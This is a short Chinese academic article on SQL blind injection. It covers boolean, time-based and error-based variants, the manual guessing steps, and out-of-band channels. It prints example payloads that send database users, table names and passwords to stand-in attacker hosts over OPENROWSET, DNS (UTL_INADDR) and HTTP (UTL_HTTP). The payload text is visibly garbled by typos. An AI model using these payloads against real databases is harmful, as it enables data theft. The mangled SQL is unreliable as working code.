蘇麗
摘要
本文研究圍繞SQL注入行為進(jìn)行分析有關(guān)網(wǎng)絡(luò)安全中的問(wèn)題,其中SQL盲注也是當(dāng)前有關(guān)SQL注入行為的一個(gè)重要內(nèi)容。以盲注的分類(lèi)為基礎(chǔ),分析SQL盲注的過(guò)程。
【關(guān)鍵詞】SQL 盲注 網(wǎng)絡(luò)安全 非主流通道
1 SQL盲注介紹
SQL盲注是指在無(wú)法利用具體數(shù)據(jù)庫(kù)錯(cuò)誤信息或帶內(nèi)聯(lián)數(shù)據(jù)庫(kù)連接的情況下,使用數(shù)據(jù)庫(kù)查詢(xún)的輸入查詢(xún)的輸入審查漏洞從數(shù)據(jù)庫(kù)提取信息或提取數(shù)據(jù)庫(kù)查詢(xún)有關(guān)信息的攻擊技術(shù),尋找和確認(rèn)SQL盲注一般要強(qiáng)制產(chǎn)生通用錯(cuò)誤,注入帶有攻擊性查詢(xún),最古老的技術(shù)是使用時(shí)序攻擊來(lái)確認(rèn)攻擊SQL是否己執(zhí)行,也可以執(zhí)行攻擊者能夠觀察的輸出結(jié)果的操作系統(tǒng)命令。SQL盲注根據(jù)盲注過(guò)程不同,對(duì)SQL盲注進(jìn)行了分類(lèi):
(1)基于布爾型SQL盲注:Web的頁(yè)面的僅僅會(huì)返回True和False.那么布爾盲注就是進(jìn)行SQL注入之后然后根據(jù)頁(yè)面返回的True或者是False來(lái)得到數(shù)據(jù)庫(kù)中的相關(guān)信息。
(2)基于時(shí)間型SQL盲注:根據(jù)web應(yīng)用響應(yīng)時(shí)間上的差異來(lái)判斷是否存在SQL注入。
(3)基于報(bào)錯(cuò)型SQL盲注:利用錯(cuò)誤提示信息,對(duì)SQL拼接方式做猜測(cè)并驗(yàn)證,這種方法稱(chēng)為基于錯(cuò)誤信息的SQL盲注。
2 SQL盲注的過(guò)程
SQL盲注的過(guò)程,就像你與一個(gè)機(jī)器人聊天,這個(gè)機(jī)器人知道的很多,但只會(huì)回答“是”或者“不是”,因此你需要詢(xún)問(wèn)它這樣的問(wèn)題,例如“數(shù)據(jù)庫(kù)名字的第一個(gè)字母是不是a啊?”,通過(guò)這種機(jī)械的詢(xún)問(wèn),最終獲得你想要的數(shù)據(jù)。手工盲注的構(gòu)造攻擊步驟如下:
(1)判斷是否存在注入,注入是字符型還是數(shù)字型;
(2)猜解當(dāng)前數(shù)據(jù)庫(kù)名;
(3)猜解數(shù)據(jù)庫(kù)中的表名;
(4)猜解表中的字段名;
(5)猜解數(shù)據(jù)。
3 SQL盲注非主流通道
使用SQL盲注漏洞檢索數(shù)據(jù)庫(kù)使用的技術(shù)是利用非主流帶外通道與依靠推斷技術(shù)獲取數(shù)據(jù)不同,除了HTTP響應(yīng),我們可以使用通道來(lái)獲取數(shù)據(jù)庫(kù)塊,由于通道傾向于以來(lái)數(shù)據(jù)庫(kù)支持的功能,因此它并適用所有數(shù)據(jù)。比如說(shuō)DNS是一種用于SQL Server和Oracle的通道,但它并不適合于mySQL,常見(jiàn)的非主流通道有:數(shù)據(jù)庫(kù)連接、DNS、E-Mail和HTTP,其基本思想是SQL查詢(xún)結(jié)果打包,之后再使用三種非主流通道之一將結(jié)果回送給攻擊者。
3.1 數(shù)據(jù)庫(kù)連接
該放方法時(shí)針對(duì)SQL Server,攻擊者可以通過(guò)它來(lái)創(chuàng)建被攻擊者與攻擊者數(shù)據(jù)庫(kù)的連接,并通過(guò)該連接傳遞查詢(xún)的參數(shù)??墒褂肙PENNROWSET命令實(shí)現(xiàn)該目的,當(dāng)通道可用時(shí),此方法將為攻擊者提供方便。想要攻擊成功,受害者數(shù)據(jù)庫(kù)必須在默認(rèn)的1433端口上打開(kāi)一條通向攻擊者數(shù)據(jù)庫(kù)的TCP連接。我們關(guān)注的是它在SQL盲注中的應(yīng)用。下列是使用 SELECT語(yǔ)句從外部數(shù)據(jù)庫(kù)檢索數(shù)據(jù),也可以使用OPENROWSET,并借助INSERT語(yǔ)句來(lái)向外部數(shù)據(jù)庫(kù)傳遞數(shù)據(jù):
INSERT INTO OPENROWSET(SQLOLEDB,Network-DBMSOCN;
Address=192.168.0.1;uid=foo;pwd=password,SELECT*FROM
Attack_table)SELECT name FROMsysobjects WHERE xtype=U
3.2 DNS通道
作為最出名的非主流通道,DNS不僅用作SQL注入漏洞的標(biāo)記,而且作為傳輸數(shù)據(jù)的通道,DNS具有下列優(yōu)點(diǎn):
(1)網(wǎng)絡(luò)只有入口過(guò)濾而沒(méi)有出口過(guò)濾,數(shù)據(jù)庫(kù)直接向攻擊者發(fā)送DNS請(qǐng)求。
(2)DNS使用的是UDP,如果未收到數(shù)據(jù)庫(kù)發(fā)送的查找請(qǐng)求的響應(yīng),則至少產(chǎn)生一個(gè)非致命錯(cuò)誤條件。
(3)DNS的層級(jí)設(shè)計(jì)意味著易受攻擊放入數(shù)據(jù)庫(kù)不必要直接向攻擊者發(fā)送數(shù)據(jù)包,中間的DNS服務(wù)器一般就能代表數(shù)據(jù)庫(kù)的流量。
(5)執(zhí)行產(chǎn)找時(shí),數(shù)據(jù)庫(kù)默認(rèn)情況下會(huì)依賴(lài)配置在操作系統(tǒng)內(nèi)部的DNS服務(wù)器,該操作系統(tǒng)通常是基本系統(tǒng)安裝的關(guān)鍵部分。
Server和Oracle均能夠直接或間接引發(fā)DNS請(qǐng)求,在Oracle中,可以使yongutl-INADDR包,這個(gè)包包含一個(gè)明確用于查找轉(zhuǎn)發(fā)條目的GET HOST ADDERSS函數(shù)和一個(gè)用于查詢(xún)逆向條目的GET HOST NAME函數(shù)。
SELECT*FROM reviews WHERI:
Review_author=UTL_INADDR.GET_HOST_ADDRESS((SELECTUSER EROM DUAL)‖.xxx.com)
3.3 E-Mail通道
SQLServer和Oracle均支持從數(shù)據(jù)庫(kù)內(nèi)部發(fā)送e-mail,e-mail是一種有吸引力的滲透通道。和DNS類(lèi)似,使用SMTP發(fā)送e-mail不需要直接連接發(fā)送者和接收者,MTA的中間網(wǎng)絡(luò)代表發(fā)送者來(lái)傳遞e-mail,其唯一的要求是存在一條從發(fā)送者接收到接收者的路由,該方法的限制在于異步性,發(fā)送利用e-maik需要一段時(shí)間才能到達(dá)。
3.4 HTTP通道
HTTP通道存在于提供外部web服務(wù)器功能的數(shù)據(jù)庫(kù)中,數(shù)據(jù)庫(kù)服務(wù)器擁有網(wǎng)絡(luò)層許可來(lái)訪(fǎng)問(wèn)由攻擊者控制的web資源。SQL Server和Mysql都沒(méi)有包含構(gòu)造HTTP請(qǐng)求的默認(rèn)機(jī)制,不過(guò)可以使用自定義擴(kuò)展獲取到。Oracle包含一個(gè)明確扼函數(shù)和一種對(duì)象類(lèi)型,可使用它們來(lái)構(gòu)造HTTP請(qǐng)求由UTL HTTP和HTTPURLTYPE包提供。
SELECT*FROM unknowntable
UNION SELECT NULL,NILL,NULLFROM
LENGTH(UTL HTTP.REQUEST(‘www.xxx.com/”‖usemame‖chr(61)‖(password))
這里將所有用戶(hù)名和口令發(fā)送給了攻擊者的訪(fǎng)問(wèn)日志,該通道還可以用于拆分、平衡技術(shù)。
參考文獻(xiàn)
[1]王麗麗,彭一楠,王軼駿,淺析SQL盲注攻擊的實(shí)現(xiàn)[J].信息安全與通信保密,2008(05).
[2]許雅娟,SQL盲注技術(shù)分析[J].信息與電腦(理論版),2010(07).